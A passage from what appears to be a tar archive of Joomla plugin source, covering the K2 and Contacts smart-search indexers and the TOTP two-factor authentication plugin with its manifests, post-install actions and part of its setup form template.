        $item->url = $this->getURL($item->id, $this->extension, $this->layout);
        $item->route = K2HelperRoute::getItemRoute($item->slug, $item->catslug);
        $item->path = FinderIndexerHelper::getContentPath($item->route);

        // Get the menu title if it exists.
        $title = $this->getItemMenuTitle($item->url);

        // Adjust the title if necessary.
        if (!empty($title) && $this->params->get('use_menu_title', true)) {
            $item->title = $title;
        }

        // Add the meta-author.
        $item->metaauthor = $item->metadata->get('author');

        // Add the meta-data processing instructions.
        $item->addInstruction(FinderIndexer::META_CONTEXT, 'metakey');
        $item->addInstruction(FinderIndexer::META_CONTEXT, 'metadesc');
        $item->addInstruction(FinderIndexer::META_CONTEXT, 'metaauthor');
        $item->addInstruction(FinderIndexer::META_CONTEXT, 'author');
        $item->addInstruction(FinderIndexer::META_CONTEXT, 'created_by_alias');
        $item->addInstruction(FinderIndexer::META_CONTEXT, 'extra_fields_search');

        // Translate the state. Items should only be published if the category is published.
        $item->state = $this->translateState($item->state, $item->cat_state);

        // Translate the trash state. Items should only be accesible if the category is accessible.
        if ($item->trash || $item->cat_trash) {
            $item->state = 0;
        }

        // Add the type taxonomy data.
        $item->addTaxonomy('Type', 'K2 Item');

        // Add the author taxonomy data.
        if (!empty($item->author) || !empty($item->created_by_alias)) {
            $item->addTaxonomy('Author', !empty($item->created_by_alias) ? $item->created_by_alias : $item->author);
        }

        // Add the category taxonomy data.
        $item->addTaxonomy('K2 Category', $item->category, $item->cat_state, $item->cat_access);

        // Add the language taxonomy data.
        $item->addTaxonomy('Language', $item->language);

        // Add the extra_fields data.
        $item->addTaxonomy('Extra fields', $item->extra_fields);

        // Get content extras.
        FinderIndexerHelper::getContentExtras($item);

        // Index the item.
        if (method_exists('FinderIndexer', 'getInstance')) {
            FinderIndexer::getInstance()->index($item);
        } else {
            FinderIndexer::index($item);
        }
    }

    protected function setup()
    {
        // Load dependent classes.
        include_once JPATH_SITE.'/components/com_k2/helpers/route.php';

        return true;
    }

    protected function getListQuery($sql = null)
    {
        $db = JFactory::getDbo();
        // Check if we can use the supplied SQL query.
        $sql = is_a($sql, 'JDatabaseQuery') ? $sql : $db->getQuery(true);
        $sql->select('a.id, a.title, a.alias, a.introtext AS summary, a.fulltext AS body');
        $sql->select('a.published as state, a.catid, a.created AS start_date, a.created_by');
        $sql->select('a.created_by_alias, a.modified, a.modified_by, a.params');
        $sql->select('a.metakey, a.metadesc, a.metadata, a.language, a.access, a.ordering');
        $sql->select('a.publish_up AS publish_start_date, a.publish_down AS publish_end_date');
        $sql->select('a.trash, c.trash AS cat_trash');
        $sql->select('c.name AS category, c.published AS cat_state, c.access AS cat_access');
        $sql->select('a.extra_fields_search, a.extra_fields');

        // Handle the alias CASE WHEN portion of the query
        $case_when_item_alias = ' CASE WHEN ';
        $case_when_item_alias .= $sql->charLength('a.alias');
        $case_when_item_alias .= ' THEN ';
        $a_id = $sql->castAsChar('a.id');
        $case_when_item_alias .= $sql->concatenate(array($a_id, 'a.alias'), ':');
        $case_when_item_alias .= ' ELSE ';
        $case_when_item_alias .= $a_id.' END as slug';
        $sql->select($case_when_item_alias);

        $case_when_category_alias = ' CASE WHEN ';
        $case_when_category_alias .= $sql->charLength('c.alias');
        $case_when_category_alias .= ' THEN ';
        $c_id = $sql->castAsChar('c.id');
        $case_when_category_alias .= $sql->concatenate(array($c_id, 'c.alias'), ':');
        $case_when_category_alias .= ' ELSE ';
        $case_when_category_alias .= $c_id.' END as catslug';
        $sql->select($case_when_category_alias);

        $sql->select('u.name AS author');
        $sql->from('#__k2_items AS a');
        $sql->join('LEFT', '#__k2_categories AS c ON c.id = a.catid');
        $sql->join('LEFT', '#__users AS u ON u.id = a.created_by');

        return $sql;
    }

    protected function checkCategoryAccess($row)
    {
        $query = $this->db->getQuery(true);
        $query->select($this->db->quoteName('access'));
        $query->from($this->db->quoteName('#__k2_categories'));
        $query->where($this->db->quoteName('id').' = '.(int)$row->id);
        $this->db->setQuery($query);

        // Store the access level to determine if it changes
        $this->old_cataccess = $this->db->loadResult();
    }

    protected function categoryAccessChange($row)
    {
        $sql = clone($this->getStateQuery());
        $sql->where('c.id = '.(int)$row->id);

        // Get the access level.
        $this->db->setQuery($sql);
        $items = $this->db->loadObjectList();

        // Adjust the access level for each item within the category.
        foreach ($items as $item) {
            // Set the access level.
            $temp = max($item->access, $row->access);

            // Update the item.
            $this->change((int)$item->id, 'access', $temp);

            // Reindex the item
            $this->reindex($item->id);
        }
    }
}
                                                                                                                                                                                                                                                                                                                                                finder/k2/k2.xml                                                                                    0000705                 00000001252 15242051520 0007357 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="2.5" type="plugin" group="finder" method="upgrade">
    <name>plg_finder_k2</name>
    <author>JoomlaWorks</author>
    <creationDate>(see K2 component)</creationDate>
    <copyright>Copyright (c) 2009 - 2024 JoomlaWorks Ltd. All rights reserved.</copyright>
    <license>https://gnu.org/licenses/gpl.html</license>
    <authorEmail>please-use-the-contact-form@joomlaworks.net</authorEmail>
    <authorUrl>https://www.joomlaworks.net</authorUrl>
    <version>(see K2 component)</version>
    <description>PLG_FINDER_K2_DESCRIPTION</description>
    <files>
        <file plugin="k2">k2.php</file>
    </files>
</extension>
                                                                                                                                                                                                                                                                                                                                                      finder/contacts/contacts.php                                                                        0000705                 00000030067 15242051520 0012160 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Finder.Contacts
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;

JLoader::register('FinderIndexerAdapter', JPATH_ADMINISTRATOR . '/components/com_finder/helpers/indexer/adapter.php');

/**
 * Finder adapter for Joomla Contacts.
 *
 * @since  2.5
 */
class PlgFinderContacts extends FinderIndexerAdapter
{
	/**
	 * The plugin identifier.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $context = 'Contacts';

	/**
	 * The extension name.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $extension = 'com_contact';

	/**
	 * The sublayout to use when rendering the results.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $layout = 'contact';

	/**
	 * The type of content that the adapter indexes.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $type_title = 'Contact';

	/**
	 * The table name.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $table = '#__contact_details';

	/**
	 * The field the published state is stored in.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $state_field = 'published';

	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.1
	 */
	protected $autoloadLanguage = true;

	/**
	 * Method to update the item link information when the item category is
	 * changed. This is fired when the item category is published or unpublished
	 * from the list view.
	 *
	 * @param   string   $extension  The extension whose category has been updated.
	 * @param   array    $pks        A list of primary key ids of the content that has changed state.
	 * @param   integer  $value      The value of the state that the content has been changed to.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function onFinderCategoryChangeState($extension, $pks, $value)
	{
		// Make sure we're handling com_contact categories
		if ($extension === 'com_contact')
		{
			$this->categoryStateChange($pks, $value);
		}
	}

	/**
	 * Method to remove the link information for items that have been deleted.
	 *
	 * This event will fire when contacts are deleted and when an indexed item is deleted.
	 *
	 * @param   string  $context  The context of the action being performed.
	 * @param   JTable  $table    A JTable object containing the record to be deleted
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	public function onFinderAfterDelete($context, $table)
	{
		if ($context === 'com_contact.contact')
		{
			$id = $table->id;
		}
		elseif ($context === 'com_finder.index')
		{
			$id = $table->link_id;
		}
		else
		{
			return true;
		}

		// Remove the items.
		return $this->remove($id);
	}

	/**
	 * Method to determine if the access level of an item changed.
	 *
	 * @param   string   $context  The context of the content passed to the plugin.
	 * @param   JTable   $row      A JTable object
	 * @param   boolean  $isNew    If the content has just been created
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	public function onFinderAfterSave($context, $row, $isNew)
	{
		// We only want to handle contacts here
		if ($context === 'com_contact.contact')
		{
			// Check if the access levels are different
			if (!$isNew && $this->old_access != $row->access)
			{
				// Process the change.
				$this->itemAccessChange($row);
			}

			// Reindex the item
			$this->reindex($row->id);
		}

		// Check for access changes in the category
		if ($context === 'com_categories.category')
		{
			// Check if the access levels are different
			if (!$isNew && $this->old_cataccess != $row->access)
			{
				$this->categoryAccessChange($row);
			}
		}

		return true;
	}

	/**
	 * Method to reindex the link information for an item that has been saved.
	 * This event is fired before the data is actually saved so we are going
	 * to queue the item to be indexed later.
	 *
	 * @param   string   $context  The context of the content passed to the plugin.
	 * @param   JTable   $row      A JTable object
	 * @param   boolean  $isNew    If the content is just about to be created
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	public function onFinderBeforeSave($context, $row, $isNew)
	{
		// We only want to handle contacts here
		if ($context === 'com_contact.contact')
		{
			// Query the database for the old access level if the item isn't new
			if (!$isNew)
			{
				$this->checkItemAccess($row);
			}
		}

		// Check for access levels from the category
		if ($context === 'com_categories.category')
		{
			// Query the database for the old access level if the item isn't new
			if (!$isNew)
			{
				$this->checkCategoryAccess($row);
			}
		}

		return true;
	}

	/**
	 * Method to update the link information for items that have been changed
	 * from outside the edit screen. This is fired when the item is published,
	 * unpublished, archived, or unarchived from the list view.
	 *
	 * @param   string   $context  The context for the content passed to the plugin.
	 * @param   array    $pks      A list of primary key ids of the content that has changed state.
	 * @param   integer  $value    The value of the state that the content has been changed to.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function onFinderChangeState($context, $pks, $value)
	{
		// We only want to handle contacts here
		if ($context === 'com_contact.contact')
		{
			$this->itemStateChange($pks, $value);
		}

		// Handle when the plugin is disabled
		if ($context === 'com_plugins.plugin' && $value === 0)
		{
			$this->pluginDisable($pks);
		}
	}

	/**
	 * Method to index an item. The item must be a FinderIndexerResult object.
	 *
	 * @param   FinderIndexerResult  $item    The item to index as a FinderIndexerResult object.
	 * @param   string               $format  The item format
	 *
	 * @return  void
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	protected function index(FinderIndexerResult $item, $format = 'html')
	{
		// Check if the extension is enabled
		if (JComponentHelper::isEnabled($this->extension) === false)
		{
			return;
		}

		$item->setLanguage();

		// Initialize the item parameters.
		$item->params = new Registry($item->params);

		// Build the necessary route and path information.
		$item->url = $this->getUrl($item->id, $this->extension, $this->layout);
		$item->route = ContactHelperRoute::getContactRoute($item->slug, $item->catslug, $item->language);
		$item->path = FinderIndexerHelper::getContentPath($item->route);

		// Get the menu title if it exists.
		$title = $this->getItemMenuTitle($item->url);

		// Adjust the title if necessary.
		if (!empty($title) && $this->params->get('use_menu_title', true))
		{
			$item->title = $title;
		}

		/*
		 * Add the metadata processing instructions based on the contact
		 * configuration parameters.
		 */
		// Handle the contact position.
		if ($item->params->get('show_position', true))
		{
			$item->addInstruction(FinderIndexer::META_CONTEXT, 'position');
		}

		// Handle the contact street address.
		if ($item->params->get('show_street_address', true))
		{
			$item->addInstruction(FinderIndexer::META_CONTEXT, 'address');
		}

		// Handle the contact city.
		if ($item->params->get('show_suburb', true))
		{
			$item->addInstruction(FinderIndexer::META_CONTEXT, 'city');
		}

		// Handle the contact region.
		if ($item->params->get('show_state', true))
		{
			$item->addInstruction(FinderIndexer::META_CONTEXT, 'region');
		}

		// Handle the contact country.
		if ($item->params->get('show_country', true))
		{
			$item->addInstruction(FinderIndexer::META_CONTEXT, 'country');
		}

		// Handle the contact zip code.
		if ($item->params->get('show_postcode', true))
		{
			$item->addInstruction(FinderIndexer::META_CONTEXT, 'zip');
		}

		// Handle the contact telephone number.
		if ($item->params->get('show_telephone', true))
		{
			$item->addInstruction(FinderIndexer::META_CONTEXT, 'telephone');
		}

		// Handle the contact fax number.
		if ($item->params->get('show_fax', true))
		{
			$item->addInstruction(FinderIndexer::META_CONTEXT, 'fax');
		}

		// Handle the contact email address.
		if ($item->params->get('show_email', true))
		{
			$item->addInstruction(FinderIndexer::META_CONTEXT, 'email');
		}

		// Handle the contact mobile number.
		if ($item->params->get('show_mobile', true))
		{
			$item->addInstruction(FinderIndexer::META_CONTEXT, 'mobile');
		}

		// Handle the contact webpage.
		if ($item->params->get('show_webpage', true))
		{
			$item->addInstruction(FinderIndexer::META_CONTEXT, 'webpage');
		}

		// Handle the contact user name.
		$item->addInstruction(FinderIndexer::META_CONTEXT, 'user');

		// Add the type taxonomy data.
		$item->addTaxonomy('Type', 'Contact');

		// Add the category taxonomy data.
		$item->addTaxonomy('Category', $item->category, $item->cat_state, $item->cat_access);

		// Add the language taxonomy data.
		$item->addTaxonomy('Language', $item->language);

		// Add the region taxonomy data.
		if (!empty($item->region) && $this->params->get('tax_add_region', true))
		{
			$item->addTaxonomy('Region', $item->region);
		}

		// Add the country taxonomy data.
		if (!empty($item->country) && $this->params->get('tax_add_country', true))
		{
			$item->addTaxonomy('Country', $item->country);
		}

		// Get content extras.
		FinderIndexerHelper::getContentExtras($item);

		// Index the item.
		$this->indexer->index($item);
	}

	/**
	 * Method to setup the indexer to be run.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 */
	protected function setup()
	{
		// Load dependent classes.
		JLoader::register('ContactHelperRoute', JPATH_SITE . '/components/com_contact/helpers/route.php');

		// This is a hack to get around the lack of a route helper.
		FinderIndexerHelper::getContentPath('index.php?option=com_contact');

		return true;
	}

	/**
	 * Method to get the SQL query used to retrieve the list of content items.
	 *
	 * @param   mixed  $query  A JDatabaseQuery object or null.
	 *
	 * @return  JDatabaseQuery  A database object.
	 *
	 * @since   2.5
	 */
	protected function getListQuery($query = null)
	{
		$db = JFactory::getDbo();

		// Check if we can use the supplied SQL query.
		$query = $query instanceof JDatabaseQuery ? $query : $db->getQuery(true)
			->select('a.id, a.name AS title, a.alias, a.con_position AS position, a.address, a.created AS start_date')
			->select('a.created_by_alias, a.modified, a.modified_by')
			->select('a.metakey, a.metadesc, a.metadata, a.language')
			->select('a.sortname1, a.sortname2, a.sortname3')
			->select('a.publish_up AS publish_start_date, a.publish_down AS publish_end_date')
			->select('a.suburb AS city, a.state AS region, a.country, a.postcode AS zip')
			->select('a.telephone, a.fax, a.misc AS summary, a.email_to AS email, a.mobile')
			->select('a.webpage, a.access, a.published AS state, a.ordering, a.params, a.catid')
			->select('c.title AS category, c.published AS cat_state, c.access AS cat_access');

		// Handle the alias CASE WHEN portion of the query
		$case_when_item_alias = ' CASE WHEN ';
		$case_when_item_alias .= $query->charLength('a.alias', '!=', '0');
		$case_when_item_alias .= ' THEN ';
		$a_id = $query->castAsChar('a.id');
		$case_when_item_alias .= $query->concatenate(array($a_id, 'a.alias'), ':');
		$case_when_item_alias .= ' ELSE ';
		$case_when_item_alias .= $a_id . ' END as slug';
		$query->select($case_when_item_alias);

		$case_when_category_alias = ' CASE WHEN ';
		$case_when_category_alias .= $query->charLength('c.alias', '!=', '0');
		$case_when_category_alias .= ' THEN ';
		$c_id = $query->castAsChar('c.id');
		$case_when_category_alias .= $query->concatenate(array($c_id, 'c.alias'), ':');
		$case_when_category_alias .= ' ELSE ';
		$case_when_category_alias .= $c_id . ' END as catslug';
		$query->select($case_when_category_alias)

			->select('u.name')
			->from('#__contact_details AS a')
			->join('LEFT', '#__categories AS c ON c.id = a.catid')
			->join('LEFT', '#__users AS u ON u.id = a.user_id');

		return $query;
	}
}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                         finder/contacts/contacts.xml                                                                        0000705                 00000001456 15242051520 0012171 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="finder" method="upgrade">
	<name>plg_finder_contacts</name>
	<author>Joomla! Project</author>
	<creationDate>August 2011</creationDate>
	<copyright>(C) 2011 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_FINDER_CONTACTS_XML_DESCRIPTION</description>
	<files>
		<filename plugin="contacts">contacts.php</filename>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB/en-GB.plg_finder_contacts.ini</language>
		<language tag="en-GB">language/en-GB/en-GB.plg_finder_contacts.sys.ini</language>
	</languages>
</extension>
                                                                                                                                                                                                                  finder/contacts/index.html                                                                          0000705                 00000000036 15242051520 0011617 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  twofactorauth/totp/index.html                                                                       0000705                 00000000037 15242051520 0012413 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 twofactorauth/totp/totp.php                                                                         0000705                 00000017041 15242051520 0012120 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Twofactorauth.totp
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Joomla! Two Factor Authentication using Google Authenticator TOTP Plugin
 *
 * @since  3.2
 */
class PlgTwofactorauthTotp extends JPlugin
{
	/**
	 * Affects constructor behavior. If true, language files will be loaded automatically.
	 *
	 * @var    boolean
	 * @since  3.2
	 */
	protected $autoloadLanguage = true;

	/**
	 * Method name
	 *
	 * @var    string
	 * @since  3.2
	 */
	protected $methodName = 'totp';

	/**
	 * This method returns the identification object for this two factor
	 * authentication plugin.
	 *
	 * @return  stdClass  An object with public properties method and title
	 *
	 * @since   3.2
	 */
	public function onUserTwofactorIdentify()
	{
		$section = (int) $this->params->get('section', 3);

		$current_section = 0;

		try
		{
			$app = JFactory::getApplication();

			if ($app->isClient('administrator'))
			{
				$current_section = 2;
			}
			elseif ($app->isClient('site'))
			{
				$current_section = 1;
			}
		}
		catch (Exception $exc)
		{
			$current_section = 0;
		}

		if (!($current_section & $section))
		{
			return false;
		}

		return (object) array(
			'method' => $this->methodName,
			'title'  => JText::_('PLG_TWOFACTORAUTH_TOTP_METHOD_TITLE')
		);
	}

	/**
	 * Shows the configuration page for this two factor authentication method.
	 *
	 * @param   object   $otpConfig  The two factor auth configuration object
	 * @param   integer  $userId     The numeric user ID of the user whose form we'll display
	 *
	 * @return  boolean|string  False if the method is not ours, the HTML of the configuration page otherwise
	 *
	 * @see     UsersModelUser::getOtpConfig
	 * @since   3.2
	 */
	public function onUserTwofactorShowConfiguration($otpConfig, $userId = null)
	{
		// Create a new TOTP class with Google Authenticator compatible settings
		$totp = new FOFEncryptTotp(30, 6, 10);

		if ($otpConfig->method === $this->methodName)
		{
			// This method is already activated. Reuse the same secret key.
			$secret = $otpConfig->config['code'];
		}
		else
		{
			// This methods is not activated yet. Create a new secret key.
			$secret = $totp->generateSecret();
		}

		// These are used by Google Authenticator to tell accounts apart
		$username = JFactory::getUser($userId)->username;
		$hostname = JUri::getInstance()->getHost();

		// This is the URL to the QR code for Google Authenticator
		$url = sprintf("otpauth://totp/%s@%s?secret=%s", $username, $hostname, $secret);

		// Is this a new TOTP setup? If so, we'll have to show the code validation field.
		$new_totp = $otpConfig->method !== 'totp';

		// Start output buffering
		@ob_start();

		// Include the form.php from a template override. If none is found use the default.
		$path = FOFPlatform::getInstance()->getTemplateOverridePath('plg_twofactorauth_totp', true);

		JLoader::import('joomla.filesystem.file');

		if (JFile::exists($path . '/form.php'))
		{
			include_once $path . '/form.php';
		}
		else
		{
			include_once __DIR__ . '/tmpl/form.php';
		}

		// Stop output buffering and get the form contents
		$html = @ob_get_clean();

		// Return the form contents
		return array(
			'method' => $this->methodName,
			'form'   => $html
		);
	}

	/**
	 * The save handler of the two factor configuration method's configuration
	 * page.
	 *
	 * @param   string  $method  The two factor auth method for which we'll show the config page
	 *
	 * @return  boolean|stdClass  False if the method doesn't match or we have an error, OTP config object if it succeeds
	 *
	 * @see     UsersModelUser::setOtpConfig
	 * @since   3.2
	 */
	public function onUserTwofactorApplyConfiguration($method)
	{
		if ($method !== $this->methodName)
		{
			return false;
		}

		// Get a reference to the input data object
		$input = JFactory::getApplication()->input;

		// Load raw data
		$rawData = $input->get('jform', array(), 'array');

		if (!isset($rawData['twofactor']['totp']))
		{
			return false;
		}

		$data = $rawData['twofactor']['totp'];

		// Warn if the securitycode is empty
		if (array_key_exists('securitycode', $data) && empty($data['securitycode']))
		{
			try
			{
				$app = JFactory::getApplication();
				$app->enqueueMessage(JText::_('PLG_TWOFACTORAUTH_TOTP_ERR_VALIDATIONFAILED'), 'error');
			}
			catch (Exception $exc)
			{
				// This only happens when we are in a CLI application. We cannot
				// enqueue a message, so just do nothing.
			}

			return false;
		}

		// Create a new TOTP class with Google Authenticator compatible settings
		$totp = new FOFEncryptTotp(30, 6, 10);

		// Check the security code entered by the user (exact time slot match)
		$code = $totp->getCode($data['key']);
		$check = $code === $data['securitycode'];

		/*
		 * If the check fails, test the previous 30 second slot. This allow the
		 * user to enter the security code when it's becoming red in Google
		 * Authenticator app (reaching the end of its 30 second lifetime)
		 */
		if (!$check)
		{
			$time = time() - 30;
			$code = $totp->getCode($data['key'], $time);
			$check = $code === $data['securitycode'];
		}

		/*
		 * If the check fails, test the next 30 second slot. This allows some
		 * time drift between the authentication device and the server
		 */
		if (!$check)
		{
			$time = time() + 30;
			$code = $totp->getCode($data['key'], $time);
			$check = $code === $data['securitycode'];
		}

		if (!$check)
		{
			// Check failed. Do not change two factor authentication settings.
			return false;
		}

		// Check succeeded; return an OTP configuration object
		$otpConfig = (object) array(
			'method'   => 'totp',
			'config'   => array(
				'code' => $data['key']
			),
			'otep'     => array()
		);

		return $otpConfig;
	}

	/**
	 * This method should handle any two factor authentication and report back
	 * to the subject.
	 *
	 * @param   array  $credentials  Array holding the user credentials
	 * @param   array  $options      Array of extra options
	 *
	 * @return  boolean  True if the user is authorised with this two-factor authentication method
	 *
	 * @since   3.2
	 */
	public function onUserTwofactorAuthenticate($credentials, $options)
	{
		// Get the OTP configuration object
		$otpConfig = $options['otp_config'];

		// Make sure it's an object
		if (empty($otpConfig) || !is_object($otpConfig))
		{
			return false;
		}

		// Check if we have the correct method
		if ($otpConfig->method !== $this->methodName)
		{
			return false;
		}

		// Check if there is a security code
		if (empty($credentials['secretkey']))
		{
			return false;
		}

		// Create a new TOTP class with Google Authenticator compatible settings
		$totp = new FOFEncryptTotp(30, 6, 10);

		// Check the code
		$code = $totp->getCode($otpConfig->config['code']);
		$check = $code === $credentials['secretkey'];

		/*
		 * If the check fails, test the previous 30 second slot. This allow the
		 * user to enter the security code when it's becoming red in Google
		 * Authenticator app (reaching the end of its 30 second lifetime)
		 */
		if (!$check)
		{
			$time = time() - 30;
			$code = $totp->getCode($otpConfig->config['code'], $time);
			$check = $code === $credentials['secretkey'];
		}

		/*
		 * If the check fails, test the next 30 second slot. This allows some
		 * time drift between the authentication device and the server
		 */
		if (!$check)
		{
			$time = time() + 30;
			$code = $totp->getCode($otpConfig->config['code'], $time);
			$check = $code === $credentials['secretkey'];
		}

		return $check;
	}
}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               twofactorauth/totp/totp.xml                                                                         0000705                 00000002557 15242051520 0012137 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="twofactorauth" method="upgrade">
	<name>plg_twofactorauth_totp</name>
	<author>Joomla! Project</author>
	<creationDate>August 2013</creationDate>
	<copyright>(C) 2013 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.2.0</version>
	<description>PLG_TWOFACTORAUTH_TOTP_XML_DESCRIPTION</description>
	<files>
		<filename plugin="totp">totp.php</filename>
		<folder>postinstall</folder>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_twofactorauth_totp.ini</language>
		<language tag="en-GB">en-GB.plg_twofactorauth_totp.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="section"
					type="radio"
					label="PLG_TWOFACTORAUTH_TOTP_SECTION_LABEL"
					description="PLG_TWOFACTORAUTH_TOTP_SECTION_DESC"
					default="3"
					filter="integer"
					class="btn-group"
					>
					<option value="1">PLG_TWOFACTORAUTH_TOTP_SECTION_SITE</option>
					<option value="2">PLG_TWOFACTORAUTH_TOTP_SECTION_ADMIN</option>
					<option value="3">PLG_TWOFACTORAUTH_TOTP_SECTION_BOTH</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
                                                                                                                                                 twofactorauth/totp/postinstall/actions.php                                                          0000705                 00000003525 15242051520 0015150 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Twofactorauth.totp
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 *
 * This file contains the functions used by the com_postinstall code to deliver
 * the necessary post-installation messages concerning the activation of the
 * two-factor authentication code.
 */

/**
 * Checks if the plugin is enabled. If not it returns true, meaning that the
 * message concerning two factor authentication should be displayed.
 *
 * @return  integer
 *
 * @since   3.2
 */
function twofactorauth_postinstall_condition()
{
	$db = JFactory::getDbo();

	$query = $db->getQuery(true)
		->select('*')
		->from($db->qn('#__extensions'))
		->where($db->qn('type') . ' = ' . $db->q('plugin'))
		->where($db->qn('enabled') . ' = 1')
		->where($db->qn('folder') . ' = ' . $db->q('twofactorauth'));
	$db->setQuery($query);
	$enabled_plugins = $db->loadObjectList();

	return count($enabled_plugins) === 0;
}

/**
 * Enables the two factor authentication plugin and redirects the user to their
 * user profile page so that they can enable two factor authentication on their
 * account.
 *
 * @return  void
 *
 * @since   3.2
 */
function twofactorauth_postinstall_action()
{
	// Enable the plugin
	$db = JFactory::getDbo();

	$query = $db->getQuery(true)
		->update($db->qn('#__extensions'))
		->set($db->qn('enabled') . ' = 1')
		->where($db->qn('type') . ' = ' . $db->q('plugin'))
		->where($db->qn('folder') . ' = ' . $db->q('twofactorauth'));
	$db->setQuery($query);
	$db->execute();

	// Clean cache.
	JFactory::getCache()->clean('com_plugins');

	// Redirect the user to their profile editor page
	$url = 'index.php?option=com_users&task=user.edit&id=' . JFactory::getUser()->id;
	JFactory::getApplication()->redirect($url);
}
                                                                                                                                                                           twofactorauth/totp/postinstall/index.html                                                           0000705                 00000000037 15242051520 0014767 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 twofactorauth/totp/tmpl/form.php                                                                    0000705                 00000005756 15242051520 0013063 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Twofactorauth.totp.tmpl
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Factory;

HTMLHelper::_('script', 'plg_twofactorauth_totp/qrcode.min.js', array('version' => 'auto', 'relative' => true));

$js = "
(function(document)
{
	document.addEventListener('DOMContentLoaded', function()
	{
		var qr = qrcode(0, 'H');
		qr.addData('" . $url . "');
		qr.make();

		document.getElementById('totp-qrcode').innerHTML = qr.createImgTag(4);
	});
})(document);
";

Factory::getDocument()->addScriptDeclaration($js);
?>
<input type="hidden" name="jform[twofactor][totp][key]" value="<?php echo $secret ?>" />

<div class="well">
	<?php echo JText::_('PLG_TWOFACTORAUTH_TOTP_INTRO') ?>
</div>

<fieldset>
	<legend>
		<?php echo JText::_('PLG_TWOFACTORAUTH_TOTP_STEP1_HEAD') ?>
	</legend>
	<p>
		<?php echo JText::_('PLG_TWOFACTORAUTH_TOTP_STEP1_TEXT') ?>
	</p>
	<ul>
		<li>
			<a href="<?php echo JText::_('PLG_TWOFACTORAUTH_TOTP_STEP1_ITEM1_LINK') ?>" target="_blank" rel="noopener noreferrer">
				<?php echo JText::_('PLG_TWOFACTORAUTH_TOTP_STEP1_ITEM1') ?>
			</a>
		</li>
		<li>
			<a href="<?php echo JText::_('PLG_TWOFACTORAUTH_TOTP_STEP1_ITEM2_LINK') ?>" target="_blank" rel="noopener noreferrer">
				<?php echo JText::_('PLG_TWOFACTORAUTH_TOTP_STEP1_ITEM2') ?>
			</a>
		</li>
	</ul>
	<div class="alert">
		<?php echo JText::_('PLG_TWOFACTORAUTH_TOTP_STEP1_WARN') ?>
	</div>
</fieldset>

<fieldset>
	<legend>
		<?php echo JText::_('PLG_TWOFACTORAUTH_TOTP_STEP2_HEAD') ?>
	</legend>

	<div class="span6">
		<p>
			<?php echo JText::_('PLG_TWOFACTORAUTH_TOTP_STEP2_TEXT') ?>
		</p>
		<table class="table table-striped">
			<tr>
				<td>
					<?php echo JText::_('PLG_TWOFACTORAUTH_TOTP_STEP2_ACCOUNT') ?>
				</td>
				<td>
					<?php echo $username ?>@<?php echo $hostname ?>
				</td>
			</tr>
			<tr>
				<td>
					<?php echo JText::_('PLG_TWOFACTORAUTH_TOTP_STEP2_KEY') ?>
				</td>
				<td>
					<?php echo $secret ?>
				</td>
			</tr>
		</table>
	</div>

